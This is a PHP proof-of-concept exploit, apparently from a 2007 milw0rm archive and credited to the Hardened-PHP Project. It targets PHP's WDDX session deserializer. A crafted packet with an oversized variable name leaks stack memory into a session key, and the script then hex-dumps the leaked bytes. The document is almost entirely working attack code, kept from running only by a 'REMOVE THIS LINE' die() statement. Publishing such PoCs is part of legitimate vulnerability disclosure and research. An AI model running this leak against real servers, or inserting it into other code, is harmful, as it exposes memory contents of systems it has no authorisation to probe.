49 lines
No EOL
1.8 KiB
PHP
49 lines
No EOL
1.8 KiB
PHP
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP WDDX Session Deserialization Stack Information Leak //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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if (!extension_loaded("wddx")) {
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die("wddx extension needed\n");
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}
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ini_set("session.serialize_handler", "wddx");
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session_start();
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session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");
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$keys = array_keys($_SESSION);
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$stackdump = $keys[1];
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echo "Stackdump\n---------\n\n";
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for ($b=0; $b<strlen($stackdump); $b+=16) {
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printf("%08x: ", $b);
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for ($i=0; $i<16; $i++) {
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printf ("%02x ", ord($stackdump[$b+$i]));
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}
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for ($i=0; $i<16; $i++) {
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$c = ord($stackdump[$b+$i]);
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if ($c > 127 || $c < 32) {
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$c = ord(".");
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}
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printf ("%c", $c);
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}
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printf("\n");
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}
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?>
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# milw0rm.com [2007-03-04]
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